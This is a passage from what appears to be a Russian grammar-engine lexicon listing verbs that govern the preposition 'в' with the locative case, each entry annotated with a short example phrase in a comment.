rus_verbs:кольнуть{}, // кольнуть в боку rus_verbs:копаться{}, // копаться в куче rus_verbs:развлекаться{}, // развлекаться в клубе rus_verbs:отливать{}, // отливать в кустах rus_verbs:зажить{}, // зажить в деревне rus_verbs:одолжить{}, // одолжить в соседнем кабинете rus_verbs:заклинать{}, // заклинать в своей речи rus_verbs:различаться{}, // различаться в мелочах rus_verbs:печататься{}, // печататься в типографии rus_verbs:угадываться{}, // угадываться в контурах rus_verbs:обрывать{}, // обрывать в начале rus_verbs:поглаживать{}, // поглаживать в кармане rus_verbs:подписывать{}, // подписывать в присутствии понятых rus_verbs:добывать{}, // добывать в разломе rus_verbs:скопиться{}, // скопиться в воротах rus_verbs:повстречать{}, // повстречать в бане rus_verbs:совпасть{}, // совпасть в упрощенном виде rus_verbs:разрываться{}, // разрываться в точке спайки rus_verbs:улавливать{}, // улавливать в датчике rus_verbs:повстречаться{}, // повстречаться в лифте rus_verbs:отразить{}, // отразить в отчете rus_verbs:пояснять{}, // пояснять в примечаниях rus_verbs:накормить{}, // накормить в столовке rus_verbs:поужинать{}, // поужинать в ресторане инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить в молоке rus_verbs:освоить{}, // освоить в работе rus_verbs:зародиться{}, // зародиться в голове rus_verbs:отплыть{}, // отплыть в старой лодке rus_verbs:отстаивать{}, // отстаивать в суде rus_verbs:осуждать{}, // осуждать в своем выступлении rus_verbs:переговорить{}, // переговорить в перерыве rus_verbs:разгораться{}, // разгораться в сердце rus_verbs:укрыть{}, // укрыть в шалаше rus_verbs:томиться{}, // томиться в застенках rus_verbs:клубиться{}, // клубиться в воздухе rus_verbs:сжигать{}, // сжигать в топке rus_verbs:позавтракать{}, // позавтракать в кафешке rus_verbs:функционировать{}, // функционировать в лабораторных условиях rus_verbs:смять{}, // смять в руке rus_verbs:разместить{}, // разместить в интернете rus_verbs:пронести{}, // пронести в потайном кармане rus_verbs:руководствоваться{}, // руководствоваться в работе rus_verbs:нашарить{}, // нашарить в потемках rus_verbs:закрутить{}, // закрутить в вихре rus_verbs:просматриваться{}, // просматриваться в дальней перспективе rus_verbs:распознать{}, // распознать в незнакомце rus_verbs:повеситься{}, // повеситься в камере rus_verbs:обшарить{}, // обшарить в поисках наркотиков rus_verbs:наполняться{}, // наполняется в карьере rus_verbs:засвистеть{}, // засвистеть в воздухе rus_verbs:процветать{}, // процветать в мягком климате rus_verbs:шуршать{}, // шуршать в простенке rus_verbs:подхватывать{}, // подхватывать в полете инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе прилагательное:роившийся{}, прилагательное:роящийся{}, // деепричастие:роясь{ aux stress="ро^ясь" }, rus_verbs:преобладать{}, // преобладать в тексте rus_verbs:посветлеть{}, // посветлеть в лице rus_verbs:игнорировать{}, // игнорировать в рекомендациях rus_verbs:обсуждаться{}, // обсуждаться в кулуарах rus_verbs:отказывать{}, // отказывать в визе rus_verbs:ощупывать{}, // ощупывать в кармане rus_verbs:разливаться{}, // разливаться в цеху rus_verbs:расписаться{}, // расписаться в получении rus_verbs:учинить{}, // учинить в казарме rus_verbs:плестись{}, // плестись в хвосте rus_verbs:объявляться{}, // объявляться в группе rus_verbs:повышаться{}, // повышаться в первой части rus_verbs:напрягать{}, // напрягать в паху rus_verbs:разрабатывать{}, // разрабатывать в студии rus_verbs:хлопотать{}, // хлопотать в мэрии rus_verbs:прерывать{}, // прерывать в самом начале rus_verbs:каяться{}, // каяться в грехах rus_verbs:освоиться{}, // освоиться в кабине rus_verbs:подплыть{}, // подплыть в лодке rus_verbs:замигать{}, // замигать в темноте rus_verbs:оскорблять{}, // оскорблять в выступлении rus_verbs:торжествовать{}, // торжествовать в душе rus_verbs:поправлять{}, // поправлять в прологе rus_verbs:угадывать{}, // угадывать в размытом изображении rus_verbs:потоптаться{}, // потоптаться в прихожей rus_verbs:переправиться{}, // переправиться в лодочке rus_verbs:увериться{}, // увериться в невиновности rus_verbs:забрезжить{}, // забрезжить в конце тоннеля rus_verbs:утвердиться{}, // утвердиться во мнении rus_verbs:завывать{}, // завывать в трубе rus_verbs:заварить{}, // заварить в заварнике rus_verbs:скомкать{}, // скомкать в руке rus_verbs:перемещаться{}, // перемещаться в капсуле инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле rus_verbs:праздновать{}, // праздновать в баре rus_verbs:мигать{}, // мигать в темноте rus_verbs:обучить{}, // обучить в мастерской rus_verbs:орудовать{}, // орудовать в кладовке rus_verbs:упорствовать{}, // упорствовать в заблуждении rus_verbs:переминаться{}, // переминаться в прихожей rus_verbs:подрасти{}, // подрасти в теплице rus_verbs:предписываться{}, // предписываться в законе rus_verbs:приписать{}, // приписать в конце rus_verbs:задаваться{}, // задаваться в своей статье rus_verbs:чинить{}, // чинить в домашних условиях rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке rus_verbs:пообедать{}, // пообедать в ресторанчике rus_verbs:жрать{}, // жрать в чуланчике rus_verbs:исполняться{}, // исполняться в антракте rus_verbs:гнить{}, // гнить в тюрьме rus_verbs:глодать{}, // глодать в конуре rus_verbs:прослушать{}, // прослушать в дороге rus_verbs:истратить{}, // истратить в кабаке rus_verbs:стареть{}, // стареть в одиночестве rus_verbs:разжечь{}, // разжечь в сердце rus_verbs:совещаться{}, // совещаться в кабинете rus_verbs:покачивать{}, // покачивать в кроватке rus_verbs:отсидеть{}, // отсидеть в одиночке rus_verbs:формировать{}, // формировать в умах rus_verbs:захрапеть{}, // захрапеть во сне rus_verbs:петься{}, // петься в хоре rus_verbs:объехать{}, // объехать в автобусе rus_verbs:поселить{}, // поселить в гостинице rus_verbs:предаться{}, // предаться в книге rus_verbs:заворочаться{}, // заворочаться во сне rus_verbs:напрятать{}, // напрятать в карманах rus_verbs:очухаться{}, // очухаться в незнакомом месте rus_verbs:ограничивать{}, // ограничивать в движениях rus_verbs:завертеть{}, // завертеть в руках rus_verbs:печатать{}, // печатать в редакторе rus_verbs:теплиться{}, // теплиться в сердце rus_verbs:увязнуть{}, // увязнуть в зыбучем песке rus_verbs:усмотреть{}, // усмотреть в обращении rus_verbs:отыскаться{}, // отыскаться в запасах rus_verbs:потушить{}, // потушить в горле огонь rus_verbs:поубавиться{}, // поубавиться в размере rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти rus_verbs:смыть{}, // смыть в ванной rus_verbs:заместить{}, // заместить в кресле rus_verbs:угасать{}, // угасать в одиночестве rus_verbs:сразить{}, // сразить в споре rus_verbs:фигурировать{}, // фигурировать в бюллетене rus_verbs:расплываться{}, // расплываться в глазах rus_verbs:сосчитать{}, // сосчитать в уме rus_verbs:сгуститься{}, // сгуститься в воздухе rus_verbs:цитировать{}, // цитировать в своей статье rus_verbs:помяться{}, // помяться в давке rus_verbs:затрагивать{}, // затрагивать в процессе выполнения rus_verbs:обтереть{}, // обтереть в гараже rus_verbs:подстрелить{}, // подстрелить в пойме реки rus_verbs:растереть{}, // растереть в руке rus_verbs:подавлять{}, // подавлять в зародыше rus_verbs:смешиваться{}, // смешиваться в чане инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке rus_verbs:сократиться{}, // сократиться в обхвате rus_verbs:занервничать{}, // занервничать в кабинете rus_verbs:соприкоснуться{}, // соприкоснуться в полете rus_verbs:обозначить{}, // обозначить в объявлении rus_verbs:обучаться{}, // обучаться в училище rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы rus_verbs:лелеять{}, // лелеять в сердце rus_verbs:поддерживаться{}, // поддерживаться в суде rus_verbs:уплыть{}, // уплыть в лодочке rus_verbs:резвиться{}, // резвиться в саду rus_verbs:поерзать{}, // поерзать в гамаке rus_verbs:оплатить{}, // оплатить в ресторане rus_verbs:похвастаться{}, // похвастаться в компании rus_verbs:знакомиться{}, // знакомиться в классе rus_verbs:приплыть{}, // приплыть в подводной лодке rus_verbs:зажигать{}, // зажигать в классе rus_verbs:смыслить{}, // смыслить в математике rus_verbs:закопать{}, // закопать в огороде rus_verbs:порхать{}, // порхать в зарослях rus_verbs:потонуть{}, // потонуть в бумажках rus_verbs:стирать{}, // стирать в холодной воде rus_verbs:подстерегать{}, // подстерегать в придорожных кустах rus_verbs:погулять{}, // погулять в парке rus_verbs:предвкушать{}, // предвкушать в воображении rus_verbs:ошеломить{}, // ошеломить в бою rus_verbs:удостовериться{}, // удостовериться в безопасности rus_verbs:огласить{}, // огласить в заключительной части rus_verbs:разбогатеть{}, // разбогатеть в деревне rus_verbs:грохотать{}, // грохотать в мастерской rus_verbs:реализоваться{}, // реализоваться в должности rus_verbs:красть{}, // красть в магазине rus_verbs:нарваться{}, // нарваться в коридоре rus_verbs:застывать{}, // застывать в неудобной позе rus_verbs:толкаться{}, // толкаться в тесной комнате rus_verbs:извлекать{}, // извлекать в аппарате rus_verbs:обжигать{}, // обжигать в печи rus_verbs:запечатлеть{}, // запечатлеть в кинохронике rus_verbs:тренироваться{}, // тренироваться в зале rus_verbs:поспорить{}, // поспорить в кабинете rus_verbs:рыскать{}, // рыскать в лесу rus_verbs:надрываться{}, // надрываться в шахте rus_verbs:сняться{}, // сняться в фильме rus_verbs:закружить{}, // закружить в танце rus_verbs:затонуть{}, // затонуть в порту rus_verbs:побыть{}, // побыть в гостях rus_verbs:почистить{}, // почистить в носу rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре rus_verbs:подслушивать{}, // подслушивать в классе rus_verbs:сгорать{}, // сгорать в танке rus_verbs:разочароваться{}, // разочароваться в артисте инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках rus_verbs:мять{}, // мять в руках rus_verbs:подраться{}, // подраться в классе rus_verbs:замести{}, // замести в прихожей rus_verbs:откладываться{}, // откладываться в печени rus_verbs:обозначаться{}, // обозначаться в перечне rus_verbs:просиживать{}, // просиживать в интернете rus_verbs:соприкасаться{}, // соприкасаться в точке rus_verbs:начертить{}, // начертить в тетрадке rus_verbs:уменьшать{}, // уменьшать в поперечнике rus_verbs:тормозить{}, // тормозить в облаке rus_verbs:затевать{}, // затевать в лаборатории rus_verbs:затопить{}, // затопить в бухте rus_verbs:задерживать{}, // задерживать в лифте rus_verbs:прогуляться{}, // прогуляться в лесу rus_verbs:прорубить{}, // прорубить во льду rus_verbs:очищать{}, // очищать в кислоте rus_verbs:полулежать{}, // полулежать в гамаке rus_verbs:исправить{}, // исправить в задании rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи rus_verbs:замучить{}, // замучить в плену rus_verbs:разрушаться{}, // разрушаться в верхней части rus_verbs:ерзать{}, // ерзать в кресле rus_verbs:покопаться{}, // покопаться в залежах rus_verbs:раскаяться{}, // раскаяться в содеянном rus_verbs:пробежаться{}, // пробежаться в парке rus_verbs:полежать{}, // полежать в гамаке rus_verbs:позаимствовать{}, // позаимствовать в книге rus_verbs:снижать{}, // снижать в несколько раз rus_verbs:черпать{}, // черпать в поэзии rus_verbs:заверять{}, // заверять в своей искренности rus_verbs:проглядеть{}, // проглядеть в сумерках rus_verbs:припарковать{}, // припарковать во дворе rus_verbs:сверлить{}, // сверлить в стене rus_verbs:здороваться{}, // здороваться в аудитории rus_verbs:рожать{}, // рожать в воде rus_verbs:нацарапать{}, // нацарапать в тетрадке rus_verbs:затопать{}, // затопать в коридоре rus_verbs:прописать{}, // прописать в правилах rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах rus_verbs:снизить{}, // снизить в несколько раз rus_verbs:заблуждаться{}, // заблуждаться в своей теории rus_verbs:откопать{}, // откопать в отвалах rus_verbs:смастерить{}, // смастерить в лаборатории rus_verbs:замедлиться{}, // замедлиться в парафине rus_verbs:избивать{}, // избивать в участке rus_verbs:мыться{}, // мыться в бане rus_verbs:сварить{}, // сварить в кастрюльке rus_verbs:раскопать{}, // раскопать в снегу rus_verbs:крепиться{}, // крепиться в держателе rus_verbs:дробить{}, // дробить в мельнице rus_verbs:попить{}, // попить в ресторанчике rus_verbs:затронуть{}, // затронуть в душе rus_verbs:лязгнуть{}, // лязгнуть в тишине rus_verbs:заправлять{}, // заправлять в полете rus_verbs:размножаться{}, // размножаться в неволе rus_verbs:потопить{}, // потопить в Тихом Океане rus_verbs:кушать{}, // кушать в столовой rus_verbs:замолкать{}, // замолкать в замешательстве rus_verbs:измеряться{}, // измеряться в дюймах rus_verbs:сбываться{}, // сбываться в мечтах rus_verbs:задернуть{}, // задернуть в комнате rus_verbs:затихать{}, // затихать в темноте rus_verbs:прослеживаться{}, // прослеживается в журнале rus_verbs:прерываться{}, // прерывается в начале rus_verbs:изображаться{}, // изображается в любых фильмах rus_verbs:фиксировать{}, // фиксировать в данной точке rus_verbs:ослаблять{}, // ослаблять в поясе rus_verbs:зреть{}, // зреть в теплице rus_verbs:зеленеть{}, // зеленеть в огороде rus_verbs:критиковать{}, // критиковать в статье rus_verbs:облететь{}, // облететь в частном вертолете rus_verbs:разбросать{}, // разбросать в комнате rus_verbs:заразиться{}, // заразиться в людном месте rus_verbs:рассеять{}, // рассеять в бою rus_verbs:печься{}, // печься в духовке rus_verbs:поспать{}, // поспать в палатке rus_verbs:заступиться{}, // заступиться в драке rus_verbs:сплетаться{}, // сплетаться в середине rus_verbs:поместиться{}, // поместиться в мешке rus_verbs:спереть{}, // спереть в лавке // инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде // инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш }, rus_verbs:проваляться{}, // проваляться в постели rus_verbs:лечиться{}, // лечиться в стационаре rus_verbs:определиться{}, // определиться в честном бою rus_verbs:обработать{}, // обработать в растворе rus_verbs:пробивать{}, // пробивать в стене rus_verbs:перемешаться{}, // перемешаться в чане rus_verbs:чесать{}, // чесать в паху rus_verbs:пролечь{}, // пролечь в пустынной местности rus_verbs:скитаться{}, // скитаться в дальних странах rus_verbs:затрудняться{}, // затрудняться в выборе rus_verbs:отряхнуться{}, // отряхнуться в коридоре rus_verbs:разыгрываться{}, // разыгрываться в лотерее rus_verbs:помолиться{}, // помолиться в церкви rus_verbs:предписывать{}, // предписывать в рецепте rus_verbs:порваться{}, // порваться в слабом месте rus_verbs:греться{}, // греться в здании rus_verbs:опровергать{}, // опровергать в своем выступлении rus_verbs:помянуть{}, // помянуть в своем выступлении rus_verbs:допросить{}, // допросить в прокуратуре rus_verbs:материализоваться{}, // материализоваться в соседнем здании rus_verbs:рассеиваться{}, // рассеиваться в воздухе rus_verbs:перевозить{}, // перевозить в вагоне rus_verbs:отбывать{}, // отбывать в тюрьме rus_verbs:попахивать{}, // попахивать в отхожем месте rus_verbs:перечислять{}, // перечислять в заключении rus_verbs:зарождаться{}, // зарождаться в дебрях rus_verbs:предъявлять{}, // предъявлять в своем письме rus_verbs:распространять{}, // распространять в сети rus_verbs:пировать{}, // пировать в соседнем селе rus_verbs:начертать{}, // начертать в летописи rus_verbs:расцветать{}, // расцветать в подходящих условиях rus_verbs:царствовать{}, // царствовать в южной части материка rus_verbs:накопить{}, // накопить в буфере rus_verbs:закрутиться{}, // закрутиться в рутине rus_verbs:отработать{}, // отработать в забое rus_verbs:обокрасть{}, // обокрасть в автобусе rus_verbs:прокладывать{}, // прокладывать в снегу rus_verbs:ковырять{}, // ковырять в носу rus_verbs:копить{}, // копить в очереди rus_verbs:полечь{}, // полечь в степях rus_verbs:щебетать{}, // щебетать в кустиках rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении rus_verbs:посеять{}, // посеять в огороде rus_verbs:разъезжать{}, // разъезжать в кабриолете rus_verbs:замечаться{}, // замечаться в лесу rus_verbs:просчитать{}, // просчитать в уме rus_verbs:маяться{}, // маяться в командировке rus_verbs:выхватывать{}, // выхватывать в тексте rus_verbs:креститься{}, // креститься в деревенской часовне rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты rus_verbs:настигать{}, // настигать в огороде rus_verbs:разгуливать{}, // разгуливать в роще rus_verbs:насиловать{}, // насиловать в квартире rus_verbs:побороть{}, // побороть в себе rus_verbs:учитывать{}, // учитывать в расчетах rus_verbs:искажать{}, // искажать в заметке rus_verbs:пропить{}, // пропить в кабаке rus_verbs:катать{}, // катать в лодочке rus_verbs:припрятать{}, // припрятать в кармашке rus_verbs:запаниковать{}, // запаниковать в бою rus_verbs:рассыпать{}, // рассыпать в траве rus_verbs:застревать{}, // застревать в ограде rus_verbs:зажигаться{}, // зажигаться в сумерках rus_verbs:жарить{}, // жарить в масле rus_verbs:накапливаться{}, // накапливаться в костях rus_verbs:распуститься{}, // распуститься в горшке rus_verbs:проголосовать{}, // проголосовать в передвижном пункте rus_verbs:странствовать{}, // странствовать в автомобиле rus_verbs:осматриваться{}, // осматриваться в хоромах rus_verbs:разворачивать{}, // разворачивать в спортзале rus_verbs:заскучать{}, // заскучать в самолете rus_verbs:напутать{}, // напутать в расчете rus_verbs:перекусить{}, // перекусить в столовой rus_verbs:спасаться{}, // спасаться в автономной капсуле rus_verbs:посовещаться{}, // посовещаться в комнате rus_verbs:доказываться{}, // доказываться в статье rus_verbs:познаваться{}, // познаваться в беде rus_verbs:загрустить{}, // загрустить в одиночестве rus_verbs:оживить{}, // оживить в памяти rus_verbs:переворачиваться{}, // переворачиваться в гробу rus_verbs:заприметить{}, // заприметить в лесу rus_verbs:отравиться{}, // отравиться в забегаловке rus_verbs:продержать{}, // продержать в клетке rus_verbs:выявить{}, // выявить в костях rus_verbs:заседать{}, // заседать в совете rus_verbs:расплачиваться{}, // расплачиваться в первой кассе rus_verbs:проломить{}, // проломить в двери rus_verbs:подражать{}, // подражать в мелочах rus_verbs:подсчитывать{}, // подсчитывать в уме rus_verbs:опережать{}, // опережать во всем rus_verbs:сформироваться{}, // сформироваться в облаке rus_verbs:укрепиться{}, // укрепиться в мнении rus_verbs:отстоять{}, // отстоять в очереди rus_verbs:развертываться{}, // развертываться в месте испытания rus_verbs:замерзать{}, // замерзать во льду rus_verbs:утопать{}, // утопать в снегу rus_verbs:раскаиваться{}, // раскаиваться в содеянном rus_verbs:организовывать{}, // организовывать в пионерлагере rus_verbs:перевестись{}, // перевестись в наших краях rus_verbs:смешивать{}, // смешивать в блендере rus_verbs:ютиться{}, // ютиться в тесной каморке rus_verbs:прождать{}, // прождать в аудитории rus_verbs:подыскивать{}, // подыскивать в женском общежитии rus_verbs:замочить{}, // замочить в сортире rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке rus_verbs:растирать{}, // растирать в ступке rus_verbs:замедлять{}, // замедлять в парафине rus_verbs:переспать{}, // переспать в палатке rus_verbs:рассекать{}, // рассекать в кабриолете rus_verbs:отыскивать{}, // отыскивать в залежах rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке rus_verbs:укрываться{}, // укрываться в землянке rus_verbs:запечься{}, // запечься в золе rus_verbs:догорать{}, // догорать в темноте rus_verbs:застилать{}, // застилать в коридоре rus_verbs:сыскаться{}, // сыскаться в деревне rus_verbs:переделать{}, // переделать в мастерской rus_verbs:разъяснять{}, // разъяснять в своей лекции rus_verbs:селиться{}, // селиться в центре rus_verbs:оплачивать{}, // оплачивать в магазине rus_verbs:переворачивать{}, // переворачивать в закрытой банке rus_verbs:упражняться{}, // упражняться в остроумии rus_verbs:пометить{}, // пометить в списке rus_verbs:припомниться{}, // припомниться в завещании rus_verbs:приютить{}, // приютить в амбаре rus_verbs:натерпеться{}, // натерпеться в темнице rus_verbs:затеваться{}, // затеваться в клубе rus_verbs:уплывать{}, // уплывать в лодке rus_verbs:скиснуть{}, // скиснуть в бидоне rus_verbs:заколоть{}, // заколоть в боку rus_verbs:замерцать{}, // замерцать в темноте rus_verbs:фиксироваться{}, // фиксироваться в протоколе rus_verbs:запираться{}, // запираться в комнате rus_verbs:съезжаться{}, // съезжаться в каретах rus_verbs:толочься{}, // толочься в ступе rus_verbs:потанцевать{}, // потанцевать в клубе rus_verbs:побродить{}, // побродить в парке rus_verbs:назревать{}, // назревать в коллективе rus_verbs:дохнуть{}, // дохнуть в питомнике rus_verbs:крестить{}, // крестить в деревенской церквушке rus_verbs:рассчитаться{}, // рассчитаться в банке rus_verbs:припарковаться{}, // припарковаться во дворе rus_verbs:отхватить{}, // отхватить в магазинчике rus_verbs:остывать{}, // остывать в холодильнике rus_verbs:составляться{}, // составляться в атмосфере тайны rus_verbs:переваривать{}, // переваривать в тишине rus_verbs:хвастать{}, // хвастать в казино rus_verbs:отрабатывать{}, // отрабатывать в теплице rus_verbs:разлечься{}, // разлечься в кровати rus_verbs:прокручивать{}, // прокручивать в голове rus_verbs:очертить{}, // очертить в воздухе rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей rus_verbs:выявлять{}, // выявлять в боевых условиях rus_verbs:караулить{}, // караулить в лифте rus_verbs:расставлять{}, // расставлять в бойницах rus_verbs:прокрутить{}, // прокрутить в голове rus_verbs:пересказывать{}, // пересказывать в первой главе rus_verbs:задавить{}, // задавить в зародыше rus_verbs:хозяйничать{}, // хозяйничать в холодильнике rus_verbs:хвалиться{}, // хвалиться в детском садике rus_verbs:оперировать{}, // оперировать в полевом госпитале rus_verbs:формулировать{}, // формулировать в следующей главе rus_verbs:застигнуть{}, // застигнуть в неприглядном виде rus_verbs:замурлыкать{}, // замурлыкать в тепле rus_verbs:поддакивать{}, // поддакивать в споре rus_verbs:прочертить{}, // прочертить в воздухе rus_verbs:отменять{}, // отменять в городе коменданский час rus_verbs:колдовать{}, // колдовать в лаборатории rus_verbs:отвозить{}, // отвозить в машине rus_verbs:трахать{}, // трахать в гамаке rus_verbs:повозиться{}, // повозиться в мешке rus_verbs:ремонтировать{}, // ремонтировать в центре rus_verbs:робеть{}, // робеть в гостях rus_verbs:перепробовать{}, // перепробовать в деле инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш }, rus_verbs:покаяться{}, // покаяться в церкви rus_verbs:попрыгать{}, // попрыгать в бассейне rus_verbs:умалчивать{}, // умалчивать в своем докладе rus_verbs:ковыряться{}, // ковыряться в старой технике rus_verbs:расписывать{}, // расписывать в деталях rus_verbs:вязнуть{}, // вязнуть в песке rus_verbs:погрязнуть{}, // погрязнуть в скандалах rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу rus_verbs:зажимать{}, // зажимать в углу rus_verbs:стискивать{}, // стискивать в ладонях rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса rus_verbs:израсходовать{}, // израсходовать в полете rus_verbs:клокотать{}, // клокотать в жерле rus_verbs:обвиняться{}, // обвиняться в растрате rus_verbs:уединиться{}, // уединиться в кладовке rus_verbs:подохнуть{}, // подохнуть в болоте rus_verbs:кипятиться{}, // кипятиться в чайнике rus_verbs:уродиться{}, // уродиться в лесу rus_verbs:продолжиться{}, // продолжиться в баре rus_verbs:расшифровать{}, // расшифровать в специальном устройстве rus_verbs:посапывать{}, // посапывать в кровати rus_verbs:скрючиться{}, // скрючиться в мешке rus_verbs:лютовать{}, // лютовать в отдаленных селах rus_verbs:расписать{}, // расписать в статье rus_verbs:публиковаться{}, // публиковаться в научном журнале rus_verbs:зарегистрировать{}, // зарегистрировать в комитете rus_verbs:прожечь{}, // прожечь в листе rus_verbs:переждать{}, // переждать в окопе rus_verbs:публиковать{}, // публиковать в журнале rus_verbs:морщить{}, // морщить в уголках глаз rus_verbs:спиться{}, // спиться в одиночестве rus_verbs:изведать{}, // изведать в гареме rus_verbs:обмануться{}, // обмануться в ожиданиях rus_verbs:сочетать{}, // сочетать в себе rus_verbs:подрабатывать{}, // подрабатывать в магазине rus_verbs:репетировать{}, // репетировать в студии rus_verbs:рябить{}, // рябить в глазах rus_verbs:намочить{}, // намочить в луже rus_verbs:скатать{}, // скатать в руке rus_verbs:одевать{}, // одевать в магазине rus_verbs:испечь{}, // испечь в духовке rus_verbs:сбрить{}, // сбрить в подмышках rus_verbs:зажужжать{}, // зажужжать в ухе rus_verbs:сберечь{}, // сберечь в тайном месте rus_verbs:согреться{}, // согреться в хижине инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш }, rus_verbs:переплыть{}, // переплыть в лодочке rus_verbs:передохнуть{}, // передохнуть в тени rus_verbs:отсвечивать{}, // отсвечивать в зеркалах rus_verbs:переправляться{}, // переправляться в лодках rus_verbs:накупить{}, // накупить в магазине rus_verbs:проторчать{}, // проторчать в очереди rus_verbs:проскальзывать{}, // проскальзывать в сообщениях rus_verbs:застукать{}, // застукать в солярии rus_verbs:наесть{}, // наесть в отпуске rus_verbs:подвизаться{}, // подвизаться в новом деле rus_verbs:вычистить{}, // вычистить в саду rus_verbs:кормиться{}, // кормиться в лесу rus_verbs:покурить{}, // покурить в саду rus_verbs:понизиться{}, // понизиться в ранге rus_verbs:зимовать{}, // зимовать в избушке rus_verbs:проверяться{}, // проверяться в службе безопасности rus_verbs:подпирать{}, // подпирать в первом забое rus_verbs:кувыркаться{}, // кувыркаться в постели rus_verbs:похрапывать{}, // похрапывать в постели rus_verbs:завязнуть{}, // завязнуть в песке rus_verbs:трактовать{}, // трактовать в исследовательской статье rus_verbs:замедляться{}, // замедляться в тяжелой воде rus_verbs:шастать{}, // шастать в здании rus_verbs:заночевать{}, // заночевать в пути rus_verbs:наметиться{}, // наметиться в исследованиях рака rus_verbs:освежить{}, // освежить в памяти rus_verbs:оспаривать{}, // оспаривать в суде rus_verbs:умещаться{}, // умещаться в ячейке rus_verbs:искупить{}, // искупить в бою rus_verbs:отсиживаться{}, // отсиживаться в тылу rus_verbs:мчать{}, // мчать в кабриолете rus_verbs:обличать{}, // обличать в своем выступлении rus_verbs:сгнить{}, // сгнить в тюряге rus_verbs:опробовать{}, // опробовать в деле rus_verbs:тренировать{}, // тренировать в зале rus_verbs:прославить{}, // прославить в академии rus_verbs:учитываться{}, // учитываться в дипломной работе rus_verbs:повеселиться{}, // повеселиться в лагере rus_verbs:поумнеть{}, // поумнеть в карцере rus_verbs:перестрелять{}, // перестрелять в воздухе rus_verbs:проведать{}, // проведать в больнице rus_verbs:измучиться{}, // измучиться в деревне rus_verbs:прощупать{}, // прощупать в глубине rus_verbs:изготовлять{}, // изготовлять в сарае rus_verbs:свирепствовать{}, // свирепствовать в популяции rus_verbs:иссякать{}, // иссякать в источнике rus_verbs:гнездиться{}, // гнездиться в дупле rus_verbs:разогнаться{}, // разогнаться в спортивной машине rus_verbs:опознавать{}, // опознавать в неизвестном rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках rus_verbs:редактировать{}, // редактировать в редакторе rus_verbs:покупаться{}, // покупаться в магазине rus_verbs:промышлять{}, // промышлять в роще rus_verbs:растягиваться{}, // растягиваться в коридоре rus_verbs:приобретаться{}, // приобретаться в антикварных лавках инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш }, rus_verbs:запечатлеться{}, // запечатлеться в мозгу rus_verbs:укрывать{}, // укрывать в подвале rus_verbs:закрепиться{}, // закрепиться в первой башне rus_verbs:освежать{}, // освежать в памяти rus_verbs:громыхать{}, // громыхать в ванной инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш }, rus_verbs:добываться{}, // добываться в шахтах rus_verbs:растворить{}, // растворить в кислоте rus_verbs:приплясывать{}, // приплясывать в гримерке rus_verbs:доживать{}, // доживать в доме престарелых rus_verbs:отпраздновать{}, // отпраздновать в ресторане rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях rus_verbs:помыть{}, // помыть в проточной воде инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш }, прилагательное:увязавший{ вид:несоверш }, rus_verbs:наличествовать{}, // наличествовать в запаснике rus_verbs:нащупывать{}, // нащупывать в кармане rus_verbs:повествоваться{}, // повествоваться в рассказе rus_verbs:отремонтировать{}, // отремонтировать в техцентре rus_verbs:покалывать{}, // покалывать в правом боку rus_verbs:сиживать{}, // сиживать в саду rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях rus_verbs:укрепляться{}, // укрепляться в мнении rus_verbs:разниться{}, // разниться во взглядах rus_verbs:сполоснуть{}, // сполоснуть в водичке rus_verbs:скупать{}, // скупать в магазине rus_verbs:почесывать{}, // почесывать в паху rus_verbs:оформлять{}, // оформлять в конторе rus_verbs:распускаться{}, // распускаться в садах rus_verbs:зарябить{}, // зарябить в глазах rus_verbs:загореть{}, // загореть в Испании rus_verbs:очищаться{}, // очищаться в баке rus_verbs:остудить{}, // остудить в холодной воде rus_verbs:разбомбить{}, // разбомбить в горах rus_verbs:издохнуть{}, // издохнуть в бедности rus_verbs:проехаться{}, // проехаться в новой машине rus_verbs:задействовать{}, // задействовать в анализе rus_verbs:произрастать{}, // произрастать в степи rus_verbs:разуться{}, // разуться в прихожей rus_verbs:сооружать{}, // сооружать в огороде rus_verbs:зачитывать{}, // зачитывать в суде rus_verbs:состязаться{}, // состязаться в остроумии rus_verbs:ополоснуть{}, // ополоснуть в молоке rus_verbs:уместиться{}, // уместиться в кармане 